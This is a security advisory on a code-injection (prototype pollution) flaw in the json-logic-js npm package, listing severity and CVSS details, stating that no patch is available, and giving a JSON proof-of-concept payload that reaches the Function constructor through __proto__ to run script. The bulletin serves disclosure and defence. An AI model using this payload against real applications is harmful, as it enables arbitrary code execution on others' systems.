SB2020091429 - Code Injection in json-logic-js package for NPM
Published: September 14, 2020 Updated: September 16, 2020
Security Bulletin ID
SB2020091429
CSH Severity
High
Patch available
NO
Number of vulnerabilities
1
Exploitation vector
Remote access
Highest impact
Code execution
Breakdown by Severity
- Low
- Medium
- High
- Critical
Description
This security bulletin contains information about 1 vulnerability.
1) Prototype pollution (CVE-ID: N/A)
CWE-ID: CWE-94 - Improper Control of Generation of Code ('Code Injection')
CVSSv4: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/U:Green
The disclosed vulnerability allows a remote attacker to perform code inection attacks.
The vulnerability exists due to insufficient sanitization of user-supplied data. A remote attacker can inject and execute arbitrary script code.
Example:
{
"method": [
{
"method": [
{
"var": "__proto__.constructor.is."
},
"constructor",
[
"var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
]
]
},
"call"
]
}
Remediation
Cybersecurity Help is not aware of any official remediation provided by the vendor.